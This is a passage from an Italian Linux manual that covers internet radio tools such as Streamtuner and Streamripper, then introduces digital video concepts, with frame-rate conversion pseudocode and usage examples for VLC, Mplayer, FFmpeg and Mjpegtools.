File4=http://64.236.34.4:5190/stream/1006
Title4=S K Y . F M - Mostly Classical - Relax... it's good for you!
Length4=-1
Version=2
```

In tal modo, in base all’esempio, il programma per la ricezione di questa radio può tentare l’accesso a quattro ripetitori diversi: *http://64.236.34.196:80/stream/1006*, *http://64.236.34.4:80/stream/1006*, *http://64.236.34.196:80/stream/1006* e *http://64.236.34.4:5190/stream/1006*.

35.9.2.3 Streamtuner

Streamtuner[42] è un programma frontale grafico, in grado di raccogliere gli elenchi principali di radio via Internet e di avviare il programma appropriato per il loro ascolto. Inoltre, può pilotare il programma Streamripper per registrare la trasmissione su file.

Figura 35.122. Streamtuner durante il funzionamento. Si vede in primo piano anche XMMS, avviato da Streamtuner per l'ascolto della stazione radio selezionata dall'elenco.

35.9.2.4 Streamripper

Streamripper[43] è un programma che si utilizza a riga di comando, ma che spesso viene utilizzato attraverso programmi frontali diversi, che ha lo scopo di filtrare un flusso audio digitale per salvarlo in file audio separati:

streamripper *indirizzo* [*opzioni*]

Come si vede dal modello sintattico, l'utilizzo più semplice del programma richiede solo l'indicazione di un indirizzo (URI) dal quale ottenere la sorgente audio digitale. In modo predefinito, il programma crea una directory con il nome della stazione radio, all'interno della quale va a inserire i file, i cui nomi provengono dalle indicazioni che possono essere raccolte dal flusso audio stesso. Ecco un esempio:

$ **streamripper http://194.79.31.234:7120** [*Invio*]

```
Connecting...
stream: Radio Skipper - Live from Canada, America, Italy, <pnewline> France,England, Ge
server name: SHOUTcast/Linux v1.9.5
bitrate: 128
meta interval: 32768

[ripping...    ] Robbie Nevil - C'est La Vie [  1.69M]
[ripping...    ] Promo ID 31 - Radio Skipper [  326kb]
[ripping...    ] Barry White - Let the music play [  1.11M]
```

Si ottiene la sottodirectory ‘`Radio Skipper - Live from Canada, America, Italy, France, Engla`
all’interno della quale appaiono dei file audio:

$ **`cd Radio*`** [*Invio*]

$ **`ls`** [*Invio*]

```
Barry White - Let the music play.mp3
Promo ID 31 - Radio Skipper.mp3
Robbie Nevil - C'est La Vie.mp3
```

35.10 Riferimenti

- Jeff Tranter, *The Linux Sound HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Documentazione del kernel
  ‘***sorgenti_linux***`/Documentation/sound/`’
- *eSpeak*
  ⟨*http://espeak.sourceforge.net/* ⟩
- Xiph.Org, *Ogg Vorbis*
  ⟨*http://www.xiph.org/vorbis/* ⟩
- Eric Scheirer, *Frequently Asked Questions: MPEG, Patents, and Audio Coding*, 1998
  ⟨*http://web.archive.org/web/*/http%3A//web.media.mit.edu/~eds/mpeg-patents-faq* ⟩
- *The LAME project*
  ⟨*http://lame.sourceforge.net* ⟩
- Martin Nilsson, *ID3 tag version 2*, 1998
  ⟨*http://www.id3.org/id3v2-00* ⟩
- Phill Kerr, *The Linux MP3-HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- *Shoutcast home*
  ⟨*http://www.shoutcast.com* ⟩

- *Classical Internet Radio*
  ⟨http://www.sky.fm/classical/ ⟩
- *Digitally imported*
  ⟨http://www.di.fm ⟩
- *MPEGRadio*
  ⟨http://www.mpegradio.com ⟩
- Eric A. Welsh, *Eawpatches for Timidity*
  `http://www.stardate.bc.ca/eawpatches/html/get_patches.htm` (non più disponibile)
- *Timidity++*
  ⟨http://timidity.sourceforge.net ⟩

[1] **Dcd** GNU GPL

[2] **TCD** GNU GPL

[3] **Cdcd** GNU GPL

[4] **AsCD** GNU GPL

[5] **Gcd** GNU GPL

[6] **Cdparanoia** GNU GPL

[7] **Grip** GNU GPL

[8] **Disc-Cover** GNU GPL

[9] **Cdlabelgen** software libero con licenza speciale

[10] **Aumix** GNU GPL

[11] **Alsamixer** GNU GPL

[12] **Alsamixergui** GNU GPL

[13] **Gnome-media** GNU GPL e GNU LGPL

[14] **Wavtools** GNU GPL

[15] **Sound-recorder** GNU GPL

[16] **Alsa-utils** GNU GPL

[17] **Sox** software libero con licenza speciale

[18] **Normalize** GNU GPL

[19] **Xwave** GNU GPL

[20] **Audacity** GNU GPL

[21] **eSpeak** GNU GPL

[22] **Midge** GNU GPL

[23] **MIDI-Perl** GNU GPL o Artistic

[24] **Timidity++** GNU GPL

[25] **Eawpatches** dominio pubblico, salvo alcuni file

[26] **MP3info** GNU GPL

[27] **LAME** GNU LGPL

[28] **Toolame** GNU GPL

[29] **Vorbis Tools** GNU GPL

[30] **Flac** GNU GPL

[31] **Mpg321** GNU GPL

[32] **MP3blaster** GNU GPL

[33] **Xmms** GNU GPL

[34] **FreeAmp** GNU GPL

[35] **Zinf** GNU GPL

[36] **Icecast** GNU GPL

[37] **Makepasswd** GNU GPL

[38] **Xmms** GNU GPL

[39] **Rhythmbox** GNU GPL

[40] **FreeAmp** GNU GPL

[41] **Zinf** GNU GPL

[42] **Streamtuner** simile a BSD

[43] **Streamripper** GNU GPL

Video

Capitolo 36

36.1 Concetti generali sui formati video digitali 2047
36.1.1 Composizione di un'immagine fissa 2048
36.1.2 Dall'immagine fissa al filmato 2048
36.1.3 Digitalizzazione di un filmato 2048
36.1.4 Confezionamento di un filmato 2049
36.1.5 Contenitore multimediale 2049
36.1.6 Trasformazione in teoria 2049
36.1.7 Trasformazione di un formato «multiplex» 2052
36.2 Programmi per l'esecuzione di filmati digitali 2052
36.3 Elaborazione di formati video 2054
36.3.1 FFmpeg 2055
36.3.2 Mjpegtools 2057
36.3.3 Transcode 2062
36.3.4 Creazione di un filmato da un'immagine fissa 2063
36.4 Elaborazione dei filmati quadro per quadro 2064
36.4.1 Estrazione dei quadri 2064
36.4.2 Unione dei singoli quadri in un filmato 2068
36.5 Introduzione ai DVD video 2069
36.5.1 Descrizione superficiale dell'organizzazione di un DVD video 2069
36.5.2 Copia di un DVD video normale 2070
36.5.3 Copia parziale di un DVD video normale 2071
36.5.4 Utilizzo di Dvdbackup 2071
36.5.5 Primi esperimenti per realizzare un DVD con contenuti propri 2073
36.5.6 Inserire delle diapositive in un DVD video 2076
36.5.7 Menù di un DVD video 2078
36.5.8 Creazione di un DVD con menù 2085
36.6 DVDStyler 2088
36.6.1 Avvio di DVDStyler 2088
36.6.2 Configurazione dello standard video 2088
36.6.3 Costruzione del menù 2089
36.6.4 Inserimento dei filmati 2091
36.6.5 Creazione del DVD video 2092
36.7 Riferimenti 2093

`jpeg2yuv` 2057 `mpeg2enc` 2059 `mplayer` 2052 `mplex` 2061 `png2yuv` 2057 `vlc` 2052 `yuvplay` 2059

36.1 Concetti generali sui formati video digitali

Si comprende intuitivamente che un filmato sia una sequenza di immagini fisse, prese a intervalli regolari molto brevi; tuttavia, per poter usare i programmi che creano o elaborano dei filmati digitali, occorre conoscere, almeno superficialmente, altri concetti specifici.

36.1.1 Composizione di un'immagine fissa

Ai fini della rappresentazione digitale, si può considerare un'immagine come un mosaico rettangolare, composto da una matrice di tessere, ognuna di dimensione uguale: le tessere di questo mosaico sono i punti grafici, noti come *pixel*. Da questo punto di vista, le caratteristiche di un'immagine sono la larghezza e l'altezza in punti grafici, a cui si aggiunge la «profondità», rappresentata dalla quantità di colori.

Per la precisione, la profondità si può esprimere sia con il numero di colori rappresentabili, intendendo per colore ogni tonalità disponibile, sia con il numero di bit con cui i colori vengono rappresentati. In tal caso, se n è la quantità di bit a disposizione, il numero di colori rappresentabili è 2^n.

36.1.2 Dall'immagine fissa al filmato

Si arriva a un filmato mettendo assieme una serie di immagini fisse, ottenute a intervalli molto brevi e regolari. La frequenza con cui queste immagini sono scandite è la frequenza di quadro (*frame rate*), che secondo la tradizione televisiva va dai 25 Hz (standard PAL e SECAM europei) a circa 30 Hz (standard NTSC americano).

Il sistema televisivo tradizionale introduce anche l'interlacciamento, per ridurre la percezione dello sfarfallio dell'immagine. Attraverso l'interlacciamento, ogni immagine viene divisa in due immagini contenenti righe alterne (una contiene le righe dispari, l'altra le righe pari), da visualizzare a una frequenza doppia rispetto alla frequenza di quadro. Le due immagini che compongono il quadro sono dei semiquadri (*field*).

36.1.3 Digitalizzazione di un filmato

La trasformazione di un filmato in forma digitale (numerica) implica la realizzazione di un file contenente una sequenza di immagini successive. Se la memorizzazione avviene senza tecniche di compressione, è sufficiente determinare le dimensioni di ogni immagine (si ottiene la dimensione a partire da larghezza, altezza e profondità) e sapere a che frequenza visualizzarle (frequenza di quadro), per poter riprodurre il filmato correttamente.

Per risparmiare spazio, le immagini dei vari quadri possono essere rappresentate attraverso tecniche che ne consentono la riduzione delle dimensioni, di solito con la perdita di qualche informazione, esattamente come avviene con tanti formati di rappresentazione di immagini fisse. Per esempio, il formato MJPG è una sequenza di immagini JPG.

Per risparmiare spazio ulteriore, le immagini dei quadri, oltre che essere compresse per conto proprio, dopo un'immagine completa possono rappresentare solo le variazioni nei quadri successivi.

Come avviene per la compressione audio, la creazione di un file video compresso, che consente la perdita di informazioni, prevede normalmente la possibilità di fissare il flusso massimo di dati per unità di tempo: *bit rate*. Naturalmente, maggiore è questo valore, migliore è la qualità del video riprodotto. Si distingue generalmente tra un flusso massimo costante o variabile; nel secondo caso si usa normalmente la sigla «VBR» (*Variable bit rate*).

36.1.4 Confezionamento di un filmato

Un filmato può essere realizzato come una sequenza di immagini non compresse, senza informazioni ulteriori. In tal caso, per la sua riproduzione è necessario conoscere le caratteristiche delle immagini e la loro frequenza di scansione; inoltre, è necessario leggere il file dal principio, per poter calcolare esattamente l'inizio di ogni nuovo quadro.

Per facilitare l'esecuzione di un filmato, il file che lo contiene potrebbe disporre di una sorta di intestazione, con tutte le informazioni necessarie alla decodifica.

Per consentire l'esecuzione di un filmato attraverso un flusso di dati, all'interno dei quali è possibile anche la perdita di porzioni di questi, è necessario che i quadri del filmato siano distinguibili. In tal caso, di solito, all'inizio di un gruppo di quadri viene inserita un'intestazione con i dati necessari alla riproduzione corretta del filmato stesso.

36.1.5 Contenitore multimediale

Generalmente, si è abituati a considerare un filmato come qualcosa che contiene sì una sequenza visiva, ma anche una traccia sonora. Per ottenere questo risultato occorre raccogliere video e audio in un contenitore *multiplex* (molteplice), ovvero un file che a sua volta contiene, a pezzi, un file video e un file audio, con le informazioni necessarie alla loro esecuzione sincronizzata.

Un contenitore *multiplex* è fatto per contenere certi tipi di formati (video, audio o altro), ma non tutti; inoltre, a seconda delle sue caratteristiche, può prevedere la presenza di più componenti sincronizzate, come più tracce audio in lingue diverse, più tracce video o anche informazioni testuali (come i sottotitoli).

36.1.6 Trasformazione in teoria

La trasformazione di un filmato da una rappresentazione digitale a un'altra, è un'operazione complessa che produce spesso risultati scadenti. La qualità scadente del risultato dipende generalmente dal fatto che si parte da un formato già compresso, ottenuto con la perdita di informazioni visive rispetto alle immagini originali, per arrivare nuovamente a un formato compresso, dove la perdita di informazioni può solo aumentare.

La trasformazione di un filmato richiede generalmente un adattamento della geometria, ovvero delle dimensioni orizzontali e verticali delle immagini, così come la modifica della frequenza di quadro. Si può comprendere che proprio la modifica della frequenza di quadro sia l'aspetto più difficile della trasformazione.

Il modo più semplice per trasformare la frequenza di quadro è quello di calcolare quale quadro della sequenza originale è il più vicino, in termini di tempo, al quadro della sequenza trasformata. In questo modo, a seconda dei casi, può succedere che alcuni quadri della sequenza originale vengano eliminati, oppure che vengano duplicati. Ovviamente, il risultato produce degli scatti periodici nel fluire della sequenza visuale. A titolo di esempio viene mostrato il procedimento in forma di pseudocodifica:

```
FRAME_RATE (VIDEO_SRC, A_SRC, Z_SRC, FPS_SRC, VIDEO_DST, A_DST, FPS_DST)

    LOCAL FRAME_TIME_SRC FLOAT
    LOCAL FRAME_TIME_DST FLOAT
    LOCAL VIDEO_TIME     FLOAT
    LOCAL FRAME_SRC      INTEGER
    LOCAL FRAME_DST      INTEGER
    LOCAL I_SRC          INTEGER
    LOCAL I_DST          INTEGER
    LOCAL Z_DST          INTEGER

    FRAME_TIME_SRC := (1 / FPS_SRC)
    FRAME_TIME_DST := (1 / FPS_DST)

    FRAME_DST := 0

    WHILE TRUE

        VIDEO_TIME     := (FRAME_DST * FRAME_TIME_DST)
        FRAME_SRC      := (VIDEO_TIME / FRAME_TIME_SRC + 0.5)
        I_SRC          := (A_SRC + FRAME_SRC)
        I_DST          := (A_DST + FRAME_DST)

        IF I_SRC <= Z_SRC
            THEN
                VIDEO_DST[I_DST] := VIDEO_SRC[I_SRC]
            ELSE
                BREAK
        END IF

        FRAME_DST++

    END WHILE

    Z_DST := (I_DST - 1)

    RETURN (VIDEO_DST, A_DST, Z_DST)

END FRAME_RATE
```

In pratica, la funzione ***FRAME_RATE()*** riceve come argomenti:

Nome	Descrizione
VIDEO_SRC	il riferimento a un array monodimensionale contenente la sequenza dei quadri, in un intervallo di celle ben determinato;
A_SRC	l'indice del primo quadro da prendere in considerazione nell'array originale;
Z_SRC	l'indice dell'ultimo quadro da prendere in considerazione nell'array originale;
FPS_SRC	la frequenza di quadro originale in hertz (simbolo: «Hz»);
VIDEO_DST	il riferimento a un array monodimensionale che deve contenente la sequenza finale dei quadri;
A_DST	l'indice del primo quadro da collocare nell'array finale;
FPS_DST	la frequenza di quadro finale in hertz (simbolo: «Hz»).

Come si vede, nella chiamata della funzione non viene indicato un limite finale all'array di destinazione, in quanto il riferimento a celle nuove ne implica la creazione.

All'inizio della funzione, vengono dichiarate anche altre variabili locali:

Nome	Descrizione
FRAME_TIME_SRC	serve a contenere la durata di tempo di ogni quadro nella sequenza originale;
FRAME_TIME_DST	serve a contenere la durata di tempo di ogni quadro nella destinazione;
VIDEO_TIME	serve a contenere, di volta in volta, il tempo totale accumulato durante la trasformazione dei quadri;
FRAME_SRC	serve a individuare il quadro ***n***-esimo nell'origine;
FRAME_DST	serve a individuare il quadro ***n***-esimo nella destinazione;
I_SRC	serve a contenere l'indice di scansione dell'array di origine;
I_DST	serve a contenere l'indice di scansione dell'array di destinazione;
Z_DST	serve a contenere la dimensione massima dell'array di destinazione.

Inizialmente viene calcolato il tempo di durata dei quadri della sequenza di origine e di quella di destinazione; quindi viene azzerato il valore di ***FRAME_DST***, a indicare che si comincia dal primo quadro nella sequenza di destinazione. Successivamente inizia un ciclo senza fine, dove si calcola: la durata della sequenza fino al punto del quadro di destinazione in corso di elaborazione; il quadro da usare nella sequenza originale (si divide il tempo attuale per la durata del quadro di origine, aggiungendo 0,5, contando di ottenere il troncamento dei decimali dal momento che si assegna a una variabile intera); l'indice corrispondente nell'array di origine; l'indice corrispondente nell'array di destinazione.

Se esiste l'elemento cercato nell'array di origine, il quadro viene copiato nell'elemento appropriato dell'array di destinazione, altrimenti il ciclo termina.

Se tutto va bene viene incrementato il contatore dei quadri di destinazione.

Dopo il ciclo viene calcolato l'indice massimo nell'array di destinazione e vengono restituiti i valori salienti: il riferimento all'array di destinazione, l'indice iniziale e finale della sequenza di quadri trasformata.

36.1.7 Trasformazione di un formato «multiplex»

Quando ciò che deve essere trasformato è contenuto in un file che dispone di video e audio assieme, le complicazioni aumentano. Generalmente, si procede separando le varie componenti, trasformando i risultati e riassemblando tutto in un nuovo file *multiplex*. Intuitivamente, si comprende che l'azione di separazione sia nota come *demultiplexing*, mentre la fusione diventa semplicemente *multiplexing*.

Per lo stesso motivo per cui ci si trova a dovere trasformare i video digitali, succede che si debba trasformare in qualche modo anche la componente audio, soprattutto perché può essere obbligatorio l'uso di una certa frequenza di campionamento e la presenza di due tracce (per la stereofonia, anche se fasulla). La necessità di rielaborare la componente audio è una ragione in più per procedere inizialmente attraverso una separazione dei contenuti multipli.

Se si separano audio e video, quindi si rielabora il video in modo da attribuire una frequenza di quadro differente, ma senza selezionare i quadri (quindi senza rispettare il tempo di esecuzione), il video diventa più lungo o più corto (a seconda che la trasformazione preveda una frequenza di quadro minore o maggiore di prima). Se la differenza nella velocità di esecuzione della sequenza video può essere poco apprezzabile, riaggregando l'audio ci si accorge subito che dopo un po' di tempo il suono anticipa o ritarda rispetto al video.

Se si separano audio e video, quindi si rielabora l'audio in modo da attribuire una frequenza di campionamento differente, ma senza «ricampionare» (quindi senza rispettare il tempo di esecuzione), l'audio diventa più lungo o più corto (a seconda che la trasformazione preveda una frequenza di campionamento minore o maggiore di prima). Se la differenza nella velocità di esecuzione della sequenza audio può essere poco apprezzabile, riaggregando il video ci si accorge subito che dopo un po' di tempo il suono ritarda o anticipa rispetto al video.

36.2 Programmi per l'esecuzione di filmati digitali

I formati storici più importanti per i filmati sono fondamentalmente due: MPEG-1 e MPEG-2. Il primo è quello più comune, mentre il secondo riguarda prevalentemente i dischi DVD (*Digital versatile disk*). L'informazione audio utilizza i formati MP2 e MP3 (*MPEG audio layer* II e III). Normalmente, l'estensione di un file contenente video e audio MPEG è '`.mpg`'.

Per registrazioni di scarsa qualità (come per esempio quelli che si potrebbero ottenere attraverso una fotocamera digitale), si usa spesso il formato MJPG (MJPEG), contenuto assieme ad audio MPEG in file con estensioni '`.avi`'.

Esiste anche un formato libero, di qualità ottima, denominato Theora, inserito normalmente in un contenitore di tipo Ogg.

Per la riproduzione video sono disponibili anche applicativi abbastanza sofisticati, i quali, con l'aiuto di librerie aggiuntive (*plugin*), sono in grado di accedere a vari formati video e audio.

L'argomento tipico della riga di comando di un riproduttore di questo tipo, può essere un elenco di file, di directory ed eventualmente di ciò che viene definito «MRL», ovvero *Media resource locator*.

Tabella 36.4. Alcuni esempi di MRL.

MRL	Descrizione
file:///home/tizio/mio_file.avi	File AVI accessibile nel file system con il percorso '/home/tizio/mio_file.avi'.
dvd:///dev/sr0	DVD (video) inserito nell'unità corrispondente al file di dispositivo '/dev/sr0'.
vcd:///dev/hdc	VCD (video) inserito nell'unità corrispondente al file di dispositivo '/dev/hdc'.
http://www.audio.dg/musica.pls	Probabilmente una stazione radio accessibile attraverso il protocollo HTTP.
http://www.video.dg:8080/;stream.nsv	Probabilmente una stazione televisiva accessibile attraverso il protocollo HTTP.
rtsp://www.video.dg/	Probabilmente una stazione televisiva accessibile attraverso il protocollo RTSP.

I programmi più comuni per l'esecuzione di filmati digitali, ma eventualmente validi anche per formati audio puri e semplici, sono VLC e Mplayer.[1] In particolare VLC è un programma del progetto VideoLAN,[2] che ha lo scopo di realizzare un sistema completo di trasmissione e ricezione di informazioni multimediali. VLC può essere usato sia per trasmettere, sia per ricevere, ma qui viene mostrato solo nella sua veste di «cliente», per la visione di file locali o per la ricezione.

```
vlc [opzioni] [media...]
```

```
mplayer [opzioni] [media...]
```

Segue la descrizione di alcuni esempi.

- `$ vlc *.avi` [*Invio*]

  `$ mplayer *.avi` [*Invio*]

  Esegue i file che corrispondono al modello '*.avi' nella directory corrente.

- `$ vlc file:///home/tizio/filmati/mio.mpg` [*Invio*]

  `$ mplayer file:///home/tizio/filmati/mio.mpg` [*Invio*]

  Esegue il file '/home/tizio/filmati/mio.mpg'.

- `$ vlc dvd:///dev/sr0` [*Invio*]

  `$ mplayer dvd:///dev/sr0` [*Invio*]

  Esegue il DVD video inserito nell'unità corrispondente al file di dispositivo '/dev/sr0'.

- $ **vlc http://www.mostlyclassical.com/mp3/classical128k.pls** [*Invio*]

  $ **mplayer http://www.mostlyclassical.com/mp3/classical128k.pls** [*Invio*]

  Si collega a una radio attraverso Internet.

- $ **vlc http://www.webranger.net/m3ustart/s2.m3u** [*Invio*]

  $ **mplayer http://www.webranger.net/m3ustart/s2.m3u** [*Invio*]

  Si collega a una televisione attraverso Internet.

Figura 36.5. VLC durante la visione di un DVD video.

Il funzionamento di Mplayer può essere controllato efficacemente attraverso la tastiera, ma per l'elenco dei comandi conviene leggere la pagina di manuale *mplayer(1)*.

36.3 Elaborazione di formati video

L'elaborazione di file contenenti video digitale è un'operazione molto complessa. In questa sezione vengono mostrati alcuni programmi in grado di compiere qualche operazione del genere. Si osservi però che quando si fa riferimento a un certo formato video, il programma che può elaborarlo, non sempre è in grado di gestire tutti i tipi di quel formato. In pratica, si può avere successo solo con un insieme limitato di tipi file e di situazioni.

A titolo indicativo, tra i programmi descritti in questa sezione, si suggerisce l'uso di FFmpeg per la conversione dei formati, essendo apparentemente più semplice ed efficace rispetto ad altri programmi simili.

36.3.1 FFmpeg

FFmpeg[3] è un sistema completo di registrazione, elaborazione ed esecuzione di formati multimediali di vario tipo. Attraverso il programma '**ffmpeg**', in particolare, è possibile rielaborare le varie componenti e qui viene descritto secondo questa sua modalità di utilizzo:

ffmpeg [*opzioni_di_ingresso*] -i *file_ingresso* ↩
↪ [-f *formato_di_uscita*] [*opzioni_di_elaborazione*] *file_uscita*

In pratica, la prima serie di opzioni, prima di '**-i**', riguarda il file in ingresso, nel caso fosse necessario specificarne le caratteristiche; le opzioni che appaiono dopo l'indicazione del file in ingresso, specificano l'elaborazione che si vuole ottenere nel file in uscita, annotato alla fine della riga di comando. L'esempio seguente serve a rendere l'idea: il file 'filmato.mpg' viene trasformato nel file 'filmato.avi'.

$ **ffmpeg -i filmato.mpg -f avi filmato.avi** [*Invio*]

Si osservi comunque che questo esempio non produce necessariamente un file AVI compatibile con i programmi di esecuzione comuni, ma in questa fase serve a rendere l'idea del funzionamento del programma.

Nel modello sintattico appare l'opzione '**-f**', con la quale si specifica il formato del file da generare, attraverso l'indicazione di una parola chiave. I mancanza di questa opzione, il programma tenta di determinare il formato del file da generare dall'estensione che viene data al nome dello stesso. Per conoscere l'elenco delle parole chiave disponibili per definire un formato, si può usare l'opzione '**-formats**' da sola:

$ **ffmpeg -formats** [*Invio*]

```
File formats:
  E 3g2             3gp2 format
  E 3gp             3gp format
 D  4xm             4X Technologies format
…
…
 D  wsvqa           Westwood Studios VQA format
 DE yuv4mpegpipe    YUV4MPEG pipe format

Image formats (filename extensions, if any, follow):
 DE gif    gif

Codecs:
 D V    4xm
 D V D  8bps
 DEA    aac
…
…
 D V D  xl
  EV    xvid
```

```
 DEV D  zlib
...
```

Tabella 36.7. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-i` ***file***	*input*	Dichiara il file da usare in ingresso.
`-f` ***formato***	*format*	Consente di dichiarare il formato (si può usare anche per forzare l'interpretazione del formato del file in ingresso).
`-hq`	*high quality*	Richiede al programma di generare un file con la qualità migliore possibile.
`-b` ***n***	*bit rate*	Richiede un tasso del flusso di dati (*bit rate*) di ***n*** kbit/s. Il valore predefinito è di 200 kbit/s; valori maggiori consentono una registrazione di qualità migliore.
`-sameq`	*same quality*	Richiede un tasso del flusso di dati (*bit rate*) uguale a quello originale.
`-r` ***n***	*frame rate*	Richiede una frequenza di quadro di ***n*** Hz. Il valore predefinito è di 25 Hz.
`-s` ***m***×***n***	*size*	Richiede un quadro di dimensioni ***m*** per ***n*** punti grafici (***m*** è l'ampiezza orizzontale; ***n*** è l'altezza).

Tabella 36.8. Alcuni formati da specificare con l'opzione '**`-f`**'.

Opzione	Descrizione
`-f au`	Audio Sun.
`-f wav`	Audio WAV-RIFF.
`-f mp2` `-f mp3`	Audio MP2 o MP3.
`-f ogg`	Audio Ogg Vorbis.
`-f yuv4mpegpipe`	Video YUV4MPEG.
`-f mpeg1video` `-f mpeg2video`	Video MPEG-1 o MPEG-2.
`-f gif`	Animazione GIF.
`-f swf`	Animazione SWF, nota anche come Flash (video e audio).
`-f asf`	Contenitore multimediale ASF (video e audio).
`-f avi`	Contenitore multimediale AVI (video e audio).
`-f mov`	Contenitore multimediale MOV (video e audio).

Opzione	Descrizione
`-f mpeg`	Contenitore multimediale MPEG1 (video e audio).
`-f mpegts`	Contenitore multimediale MPEG2 (video e audio).

Segue la descrizione di alcuni esempi.

- `$` **`ffmpeg -i filmato.avi -f mpeg2video -hq -sameq -r 25 ↩`**
  `↪` **`-s 720x576 video.m2v`** [*Invio*]

  Estrae la parte video del file '`filmato.avi`', generando il file '`video.m2v`', in formato MPEG-2, specificando una frequenza di quadro di 25 Hz e dimensioni di 720×576 punti grafici.

- `$` **`ffmpeg -i filmato.avi -f mpeg2video -hq -sameq video.m2v`** [*Invio*]

  Come nell'esempio precedente, senza modificare la frequenza di quadro e le dimensioni.

- `$` **`ffmpeg -i filmato.avi -f wav audio.wav`** [*Invio*]

  Estrae dal file '`filmato.avi`' la componente audio, memorizzandola in formato WAV-RIFF, nel file '`audio.wav`', senza cambiarne la frequenza di campionamento e il numero di canali.

- `$` **`ffmpeg -i filmato.avi -f mpeg -hq -sameq -r 25 -s 720x576 ↩`**
  `↪` **`filmato.mpg`** [*Invio*]

  Converte il file '`filmato.avi`' nel file '`filmato.mpg`' (MPEG1, video e audio assieme), specificando la qualità, la frequenza di quadro e le dimensioni finali.

36.3.2 Mjpegtools

Mjpegtools [4] è un insieme di programmi per l'elaborazione di formati video MPEG. Nelle sezioni seguenti si mostra l'uso di alcuni di questi; si osservi comunque che solo alcune varianti MPEG sono gestibili e che normalmente si tratta di file che contengono solo informazioni video (senza audio).

36.3.2.1 Utilizzo di «jpeg2yuv» e di «png2yuv»

I programmi '**`jpeg2yuv`**' e '**`png2yuv`**' consentono di trasformare una sequenza di file da un formato JPG o PNG in un flusso YUV4MPEG. Naturalmente, i file che costituiscono la sequenza da unire devono avere le stesse caratteristiche e le dimensioni (la geometria orizzontale e verticale in punti grafici) devono rispettare gli standard video.

`jpeg2yuv -f` ***f_quadro*** `-I` ***interlacciamento*** [***altre_opzioni***] `-j` ***modello_file*** `>` ***file_y4m***

`png2yuv -f` ***f_quadro*** `-I` ***interlacciamento*** [***altre_opzioni***] `-j` ***modello_file*** `>` ***file_y4m***

Come si vede, i modelli sintattici per l'uso di questi due programmi sono equivalenti e alcune opzioni sono obbligatorie.

Tabella 36.9. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-f` ***n***	*frame*	Definisce la frequenza di quadro, dove ***n*** rappresenta il numero di quadri per secondo.
`-I p|t|b`	*interlace*	Definisce il tipo di interlacciamento: '**`-I p`**' richiede l'assenza di interlacciamento; '**`-I t`**' richiede per primo il semiquadro superiore; '**`-I b`**' richiede per primo il semiquadro inferiore.
`-L 0|1`		Attiva o disattiva l'interlacciamento: '**`-L 0`**' copia la stessa immagine in due semiquadri; '**`-L 1`**' indica che i campi sono interlacciati.
`-l` ***n***	*loop*	Richiede di ripetere la sequenza per ***n*** volte. Se non si specifica questa opzione, si ottiene una sola sequenza; se si indica '**`-l -1`**', si ottiene un filmato di lunghezza indefinita.
`-n` ***n***		Richiede di utilizzare soltanto ***n*** quadri in ingresso. In modo predefinito vengono utilizzati tutti i quadri disponibili; eventualmente si può dichiarare esplicitamente la richiesta di usarli tutti con l'opzione '**`-n -1`**'.
`-j` ***radice***`%0`***n***`d`***estensione***		Definisce il modello del gruppo di file da utilizzare per ricostruire il filmato. Per esempio, '**`-j prova%06.jpg`**' fa riferimento a file del tipo '`prova000000.jpg`', '`prova000001.jpg`',... '`prova999999.jpg`'.

Segue la descrizione di alcuni esempi.

- `$` **`jpeg2yuv -f 25 -I p -L 0 -j filmato-%06.jpg > filmato.y4m`**[*Invio*]

  Genera il file '`filmato.y4m`' a partire dalla sequenza di immagini '`filmato-000001.jpg`', '`filmato-000002.jpg`',... '`filmato-`***nnnnnn***`.jpg`', utilizzandole alla frequenza di 25 quadri al secondo, come si fa nel sistema PAL o SECAM, senza interlacciamento.

- `$` **`png2yuv -f 25 -I p -L 0 -j filmato-%06.png > filmato.y4m`**[*Invio*]

  Come nell'esempio precedente, ma facendo riferimento a file PNG: '`filmato-000001.png`', '`filmato-000002.png`',... '`filmato-`***nnnnnn***`.png`'.

- `$` **`jpeg2yuv -f 29.97 -I p -L 0 -j filmato-%06.jpg > filmato.y4m`**[*Invio*]

  Come negli esempi precedenti, riferendosi a file JPG, utilizzando una frequenza di quadro di 29.97 quadri al secondo, come si fa nel sistema NTSC.

- `$` **`jpeg2yuv -f 25 -I p -L 0 -n 100 -j figura.jpg > filmato.y4m`**[*Invio*]

  Utilizza il file '`figura.jpg`' per generare un filmato composto da 100 quadri, contenenti la stessa immagine. La frequenza di quadro è di 25 quadri al secondo, pertanto il filmato dura 4 s.

- $ **png2yuv -f 25 -I p -L 0 -l 3 -j filmato-%06.png > filmato.y4m** [*Invio*]

  Utilizza una serie di file PNG per generare il file '`filmato.y4m`', nel quale la sequenza viene ripetuta per tre volte.

36.3.2.2 Utilizzo di «yuvplay»

Il programma '**`yuvplay`**' consente di eseguire un flusso YUV4MPEG, come quello generato dai programmi '**`png2yuv`**' o '**`jpeg2yuv`**':

```
yuvplay [opzioni] < file_y4m
```

Tabella 36.10. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-f` ***n***	*frame*	Forza l'utilizzo di una frequenza di quadro specifica, dove ***n*** rappresenta il numero di quadri per secondo.
`-s` ***ampiezza***x***altezza***	*size*	Consente di modificare le dimensioni della riproduzione video, indicando valori in punti grafici (*pixel*).

In condizioni normali, il programma viene usato senza opzioni, come nell'esempio seguente, dove viene eseguito il contenuto del file '`filmato.y4m`':

$ **yuvplay < filmato.y4m** [*Invio*]

36.3.2.3 Utilizzo di «mpeg2enc»

Il programma '**`mpeg2enc`**' consente di generare un file video MPEG-1 o MPEG-2 a partire da un flusso YUV4MPEG (il tipo esatto è '**`4:2:0 Y'CbCr`**').

```
mpeg2enc [opzioni] -o file_da_generare < file_y4m
```

Come si vede dal modello sintattico, il flusso YUV4MPEG viene letto dallo standard input e il risultato viene memorizzato nel file indicato come argomento dell'opzione '**`-o`**'.

Tabella 36.11. Alcune opzioni.

Opzione	Descrizione
`-a` ***n*** `--aspect` ***n***	Specifica il rapporto di riproduzione dell'immagine (*aspect ratio*). Se questa opzione non viene specificata, il rapporto viene determinato dalle informazioni contenute nel flusso in ingresso.
`-a 1` `--aspect 1`	Imposta il rapporto di riproduzione a 1:1 (quadrato).

Opzione	Descrizione
`-a 2` `--aspect 2`	Imposta il rapporto di riproduzione a 4:3 (formato televisivo comune).
